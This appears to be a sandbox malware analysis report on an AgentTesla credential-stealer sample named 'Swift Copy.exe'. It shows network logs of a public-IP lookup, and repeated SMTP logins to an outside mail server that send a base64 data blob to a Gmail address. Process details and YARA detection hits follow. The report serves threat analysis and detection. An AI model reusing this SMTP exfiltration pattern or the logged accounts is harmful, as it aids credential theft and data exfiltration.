2024-07-26 13:10:59 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-07-26 13:10:59 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 13:10:59 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8a94a2104da3447a-EWR
2024-07-26 13:10:59 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jul 26, 2024 15:11:02.128794909 CEST	587	49731	148.66.136.151	192.168.2.4	220-sg2plzcpnl505494.prod.sin2.secureserver.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 06:11:01 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 15:11:02.129010916 CEST	49731	587	192.168.2.4	148.66.136.151	EHLO 849224
Jul 26, 2024 15:11:02.544971943 CEST	587	49731	148.66.136.151	192.168.2.4	250-sg2plzcpnl505494.prod.sin2.secureserver.net Hello 849224 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 15:11:02.546133995 CEST	49731	587	192.168.2.4	148.66.136.151	AUTH login aW5mb0BtYWhlc2gtZW50LmNvbQ==
Jul 26, 2024 15:11:03.053626060 CEST	587	49731	148.66.136.151	192.168.2.4	334 UGFzc3dvcmQ6
Jul 26, 2024 15:11:03.455396891 CEST	587	49731	148.66.136.151	192.168.2.4	235 Authentication succeeded
Jul 26, 2024 15:11:03.455651999 CEST	49731	587	192.168.2.4	148.66.136.151	MAIL FROM:<info@mahesh-ent.com>
Jul 26, 2024 15:11:03.806952953 CEST	587	49731	148.66.136.151	192.168.2.4	250 OK
Jul 26, 2024 15:11:03.807351112 CEST	49731	587	192.168.2.4	148.66.136.151	RCPT TO:<obtxxxtf@gmail.com>
Jul 26, 2024 15:11:04.206845045 CEST	587	49731	148.66.136.151	192.168.2.4	250 Accepted
Jul 26, 2024 15:11:04.207043886 CEST	49731	587	192.168.2.4	148.66.136.151	DATA
Jul 26, 2024 15:11:04.561624050 CEST	587	49731	148.66.136.151	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 15:11:04.562289953 CEST	49731	587	192.168.2.4	148.66.136.151	.
Jul 26, 2024 15:11:12.274554968 CEST	587	49731	148.66.136.151	192.168.2.4	250 OK id=1sXKiu-001UZg-1H
Jul 26, 2024 15:12:30.201312065 CEST	49731	587	192.168.2.4	148.66.136.151	QUIT
Jul 26, 2024 15:12:30.760234118 CEST	587	49731	148.66.136.151	192.168.2.4	221 sg2plzcpnl505494.prod.sin2.secureserver.net closing connection
Jul 26, 2024 15:12:31.101262093 CEST	587	49739	148.66.136.151	192.168.2.4	220-sg2plzcpnl505494.prod.sin2.secureserver.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 06:12:30 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 15:12:31.102411032 CEST	49739	587	192.168.2.4	148.66.136.151	EHLO 849224
Jul 26, 2024 15:12:31.466768980 CEST	587	49739	148.66.136.151	192.168.2.4	250-sg2plzcpnl505494.prod.sin2.secureserver.net Hello 849224 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 15:12:31.466912985 CEST	49739	587	192.168.2.4	148.66.136.151	AUTH login aW5mb0BtYWhlc2gtZW50LmNvbQ==
Jul 26, 2024 15:12:31.821348906 CEST	587	49739	148.66.136.151	192.168.2.4	334 UGFzc3dvcmQ6
Jul 26, 2024 15:12:32.195847988 CEST	587	49739	148.66.136.151	192.168.2.4	235 Authentication succeeded
Jul 26, 2024 15:12:32.195981979 CEST	49739	587	192.168.2.4	148.66.136.151	MAIL FROM:<info@mahesh-ent.com>
Jul 26, 2024 15:12:32.546055079 CEST	587	49739	148.66.136.151	192.168.2.4	250 OK
Jul 26, 2024 15:12:32.548639059 CEST	49739	587	192.168.2.4	148.66.136.151	RCPT TO:<obtxxxtf@gmail.com>
Jul 26, 2024 15:12:32.938636065 CEST	587	49739	148.66.136.151	192.168.2.4	250 Accepted
Jul 26, 2024 15:12:32.938827038 CEST	49739	587	192.168.2.4	148.66.136.151	DATA
Jul 26, 2024 15:12:33.295046091 CEST	587	49739	148.66.136.151	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 15:12:37.390394926 CEST	587	49740	148.66.136.151	192.168.2.4	421 Too many concurrent SMTP connections from this IP address; please try again later.
Jul 26, 2024 15:12:41.613295078 CEST	587	49741	148.66.136.151	192.168.2.4	421 Too many concurrent SMTP connections from this IP address; please try again later.
Jul 26, 2024 15:12:59.421844006 CEST	587	49742	148.66.136.151	192.168.2.4	220-sg2plzcpnl505494.prod.sin2.secureserver.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 06:12:59 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 15:12:59.422115088 CEST	49742	587	192.168.2.4	148.66.136.151	EHLO 849224
Jul 26, 2024 15:12:59.756001949 CEST	587	49742	148.66.136.151	192.168.2.4	250-sg2plzcpnl505494.prod.sin2.secureserver.net Hello 849224 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 15:12:59.758318901 CEST	49742	587	192.168.2.4	148.66.136.151	AUTH login aW5mb0BtYWhlc2gtZW50LmNvbQ==
Jul 26, 2024 15:13:00.091757059 CEST	587	49742	148.66.136.151	192.168.2.4	334 UGFzc3dvcmQ6
Jul 26, 2024 15:13:00.432651043 CEST	587	49742	148.66.136.151	192.168.2.4	235 Authentication succeeded
Jul 26, 2024 15:13:00.434478045 CEST	49742	587	192.168.2.4	148.66.136.151	MAIL FROM:<info@mahesh-ent.com>
Jul 26, 2024 15:13:00.767920971 CEST	587	49742	148.66.136.151	192.168.2.4	250 OK
Jul 26, 2024 15:13:00.768071890 CEST	49742	587	192.168.2.4	148.66.136.151	RCPT TO:<obtxxxtf@gmail.com>
Jul 26, 2024 15:13:01.146365881 CEST	587	49742	148.66.136.151	192.168.2.4	250 Accepted
Jul 26, 2024 15:13:01.157783031 CEST	49742	587	192.168.2.4	148.66.136.151	DATA
Jul 26, 2024 15:13:01.494940042 CEST	587	49742	148.66.136.151	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 15:13:08.704847097 CEST	587	49743	148.66.136.151	192.168.2.4	421 Too many concurrent SMTP connections from this IP address; please try again later.
Jul 26, 2024 15:13:28.454547882 CEST	587	49744	148.66.136.151	192.168.2.4	220-sg2plzcpnl505494.prod.sin2.secureserver.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 06:13:28 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 15:13:28.454696894 CEST	49744	587	192.168.2.4	148.66.136.151	EHLO 849224
Jul 26, 2024 15:13:28.807077885 CEST	587	49744	148.66.136.151	192.168.2.4	250-sg2plzcpnl505494.prod.sin2.secureserver.net Hello 849224 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 15:13:28.808612108 CEST	49744	587	192.168.2.4	148.66.136.151	AUTH login aW5mb0BtYWhlc2gtZW50LmNvbQ==
Jul 26, 2024 15:13:29.162256956 CEST	587	49744	148.66.136.151	192.168.2.4	334 UGFzc3dvcmQ6
Jul 26, 2024 15:13:29.521091938 CEST	587	49744	148.66.136.151	192.168.2.4	235 Authentication succeeded
Jul 26, 2024 15:13:29.521363974 CEST	49744	587	192.168.2.4	148.66.136.151	MAIL FROM:<info@mahesh-ent.com>
Jul 26, 2024 15:13:29.873647928 CEST	587	49744	148.66.136.151	192.168.2.4	250 OK
Jul 26, 2024 15:13:29.873780012 CEST	49744	587	192.168.2.4	148.66.136.151	RCPT TO:<obtxxxtf@gmail.com>
Jul 26, 2024 15:13:30.290083885 CEST	587	49744	148.66.136.151	192.168.2.4	250 Accepted
Jul 26, 2024 15:13:30.290502071 CEST	49744	587	192.168.2.4	148.66.136.151	DATA
Jul 26, 2024 15:13:30.674309015 CEST	587	49744	148.66.136.151	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 15:13:30.696455956 CEST	49744	587	192.168.2.4	148.66.136.151	.
Jul 26, 2024 15:13:42.116786003 CEST	587	49745	148.66.136.151	192.168.2.4	421 Too many concurrent SMTP connections from this IP address; please try again later.
Jul 26, 2024 15:13:44.986160040 CEST	587	49746	148.66.136.151	192.168.2.4	220-sg2plzcpnl505494.prod.sin2.secureserver.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 06:13:44 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 15:13:44.987668037 CEST	49746	587	192.168.2.4	148.66.136.151	EHLO 849224
Jul 26, 2024 15:13:45.344765902 CEST	587	49746	148.66.136.151	192.168.2.4	250-sg2plzcpnl505494.prod.sin2.secureserver.net Hello 849224 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 15:13:45.345196009 CEST	49746	587	192.168.2.4	148.66.136.151	AUTH login aW5mb0BtYWhlc2gtZW50LmNvbQ==
Jul 26, 2024 15:13:45.884818077 CEST	587	49746	148.66.136.151	192.168.2.4	334 UGFzc3dvcmQ6
Jul 26, 2024 15:13:46.454534054 CEST	587	49746	148.66.136.151	192.168.2.4	235 Authentication succeeded
Jul 26, 2024 15:13:46.454694986 CEST	49746	587	192.168.2.4	148.66.136.151	MAIL FROM:<info@mahesh-ent.com>
Jul 26, 2024 15:13:46.804505110 CEST	587	49746	148.66.136.151	192.168.2.4	250 OK
Jul 26, 2024 15:13:46.806603909 CEST	49746	587	192.168.2.4	148.66.136.151	RCPT TO:<obtxxxtf@gmail.com>
Jul 26, 2024 15:13:47.195988894 CEST	587	49746	148.66.136.151	192.168.2.4	250 Accepted
Jul 26, 2024 15:13:47.198510885 CEST	49746	587	192.168.2.4	148.66.136.151	DATA
Jul 26, 2024 15:13:47.548515081 CEST	587	49746	148.66.136.151	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 15:13:47.572932005 CEST	49746	587	192.168.2.4	148.66.136.151	.
Jul 26, 2024 15:13:53.540426016 CEST	587	49747	148.66.136.151	192.168.2.4	421 Too many concurrent SMTP connections from this IP address; please try again later.
Jul 26, 2024 15:14:11.292802095 CEST	587	49748	148.66.136.151	192.168.2.4	220-sg2plzcpnl505494.prod.sin2.secureserver.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 06:14:11 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 15:14:11.294531107 CEST	49748	587	192.168.2.4	148.66.136.151	EHLO 849224
Jul 26, 2024 15:14:11.646125078 CEST	587	49748	148.66.136.151	192.168.2.4	250-sg2plzcpnl505494.prod.sin2.secureserver.net Hello 849224 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 15:14:11.646598101 CEST	49748	587	192.168.2.4	148.66.136.151	AUTH login aW5mb0BtYWhlc2gtZW50LmNvbQ==
Jul 26, 2024 15:14:12.191993952 CEST	587	49748	148.66.136.151	192.168.2.4	334 UGFzc3dvcmQ6
Jul 26, 2024 15:14:12.548180103 CEST	587	49748	148.66.136.151	192.168.2.4	235 Authentication succeeded
Jul 26, 2024 15:14:12.548379898 CEST	49748	587	192.168.2.4	148.66.136.151	MAIL FROM:<info@mahesh-ent.com>
Jul 26, 2024 15:14:12.900966883 CEST	587	49748	148.66.136.151	192.168.2.4	250 OK
Jul 26, 2024 15:14:12.901379108 CEST	49748	587	192.168.2.4	148.66.136.151	RCPT TO:<obtxxxtf@gmail.com>
Jul 26, 2024 15:14:13.356904030 CEST	587	49748	148.66.136.151	192.168.2.4	250 Accepted
Jul 26, 2024 15:14:13.357285023 CEST	49748	587	192.168.2.4	148.66.136.151	DATA
Jul 26, 2024 15:14:13.749298096 CEST	587	49748	148.66.136.151	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 15:14:13.755971909 CEST	49748	587	192.168.2.4	148.66.136.151	661mt/ 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 FBoGFJS0lACYopaSgYnvRS0fWgBKTFLR05o
Jul 26, 2024 15:14:17.321137905 CEST	587	49749	148.66.136.151	192.168.2.4	421 Too many concurrent SMTP connections from this IP address; please try again later.
Jul 26, 2024 15:14:29.511148930 CEST	587	49750	148.66.136.151	192.168.2.4	220-sg2plzcpnl505494.prod.sin2.secureserver.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 06:14:29 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 15:14:29.512011051 CEST	49750	587	192.168.2.4	148.66.136.151	EHLO 849224
Jul 26, 2024 15:14:29.858998060 CEST	587	49750	148.66.136.151	192.168.2.4	250-sg2plzcpnl505494.prod.sin2.secureserver.net Hello 849224 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 15:14:29.859272003 CEST	49750	587	192.168.2.4	148.66.136.151	AUTH login aW5mb0BtYWhlc2gtZW50LmNvbQ==
Jul 26, 2024 15:14:30.207730055 CEST	587	49750	148.66.136.151	192.168.2.4	334 UGFzc3dvcmQ6
Jul 26, 2024 15:14:30.563241005 CEST	587	49750	148.66.136.151	192.168.2.4	235 Authentication succeeded
Jul 26, 2024 15:14:30.563613892 CEST	49750	587	192.168.2.4	148.66.136.151	MAIL FROM:<info@mahesh-ent.com>
Jul 26, 2024 15:14:31.699464083 CEST	587	49751	148.66.136.151	192.168.2.4	220-sg2plzcpnl505494.prod.sin2.secureserver.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 06:14:31 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 15:14:31.699718952 CEST	49751	587	192.168.2.4	148.66.136.151	EHLO 849224
Jul 26, 2024 15:14:32.039335966 CEST	587	49751	148.66.136.151	192.168.2.4	250-sg2plzcpnl505494.prod.sin2.secureserver.net Hello 849224 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 15:14:32.039583921 CEST	49751	587	192.168.2.4	148.66.136.151	AUTH login aW5mb0BtYWhlc2gtZW50LmNvbQ==
Jul 26, 2024 15:14:32.372971058 CEST	587	49751	148.66.136.151	192.168.2.4	334 UGFzc3dvcmQ6
Jul 26, 2024 15:14:32.712802887 CEST	587	49751	148.66.136.151	192.168.2.4	235 Authentication succeeded
Jul 26, 2024 15:14:32.713042974 CEST	49751	587	192.168.2.4	148.66.136.151	MAIL FROM:<info@mahesh-ent.com>
Jul 26, 2024 15:14:33.052014112 CEST	587	49751	148.66.136.151	192.168.2.4	250 OK
Jul 26, 2024 15:14:33.054569960 CEST	49751	587	192.168.2.4	148.66.136.151	RCPT TO:<obtxxxtf@gmail.com>
Jul 26, 2024 15:14:33.445852041 CEST	587	49751	148.66.136.151	192.168.2.4	250 Accepted
Jul 26, 2024 15:14:33.446099997 CEST	49751	587	192.168.2.4	148.66.136.151	DATA
Jul 26, 2024 15:14:33.781507015 CEST	587	49751	148.66.136.151	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 15:14:34.769088984 CEST	587	49752	148.66.136.151	192.168.2.4	421 Too many concurrent SMTP connections from this IP address; please try again later.
Jul 26, 2024 15:14:39.332099915 CEST	587	49753	148.66.136.151	192.168.2.4	421 Too many concurrent SMTP connections from this IP address; please try again later.
Jul 26, 2024 15:14:49.430870056 CEST	587	49757	148.66.136.151	192.168.2.4	220-sg2plzcpnl505494.prod.sin2.secureserver.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 06:14:49 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 15:14:49.434705973 CEST	49757	587	192.168.2.4	148.66.136.151	EHLO 849224
Jul 26, 2024 15:14:49.857253075 CEST	587	49757	148.66.136.151	192.168.2.4	250-sg2plzcpnl505494.prod.sin2.secureserver.net Hello 849224 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 15:14:49.859363079 CEST	49757	587	192.168.2.4	148.66.136.151	AUTH login aW5mb0BtYWhlc2gtZW50LmNvbQ==
Jul 26, 2024 15:14:50.218528032 CEST	587	49757	148.66.136.151	192.168.2.4	334 UGFzc3dvcmQ6
Jul 26, 2024 15:14:50.578948975 CEST	587	49757	148.66.136.151	192.168.2.4	235 Authentication succeeded
Jul 26, 2024 15:14:50.579129934 CEST	49757	587	192.168.2.4	148.66.136.151	MAIL FROM:<info@mahesh-ent.com>
Jul 26, 2024 15:14:50.931519032 CEST	587	49757	148.66.136.151	192.168.2.4	250 OK
Jul 26, 2024 15:14:50.931696892 CEST	49757	587	192.168.2.4	148.66.136.151	RCPT TO:<obtxxxtf@gmail.com>
Jul 26, 2024 15:14:51.321224928 CEST	587	49757	148.66.136.151	192.168.2.4	250 Accepted
Jul 26, 2024 15:14:51.321510077 CEST	49757	587	192.168.2.4	148.66.136.151	DATA
Jul 26, 2024 15:14:51.687593937 CEST	587	49757	148.66.136.151	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 15:15:05.335576057 CEST	587	49757	148.66.136.151	192.168.2.4	250 OK id=1sXKmZ-001WmV-1e
Jul 26, 2024 15:15:06.559429884 CEST	49757	587	192.168.2.4	148.66.136.151	QUIT
Jul 26, 2024 15:15:07.109867096 CEST	587	49757	148.66.136.151	192.168.2.4	221 sg2plzcpnl505494.prod.sin2.secureserver.net closing connection
Jul 26, 2024 15:15:07.999610901 CEST	587	49758	148.66.136.151	192.168.2.4	220-sg2plzcpnl505494.prod.sin2.secureserver.net ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 06:15:07 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.

Target ID:	0
Start time:	09:10:56
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\Swift Copy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Swift Copy.exe"
Imagebase:	0xd70000
File size:	1'294'336 bytes
MD5 hash:	2AD0A14A883597C8707276C3002D85DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:10:57
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Swift Copy.exe"
Imagebase:	0xee0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
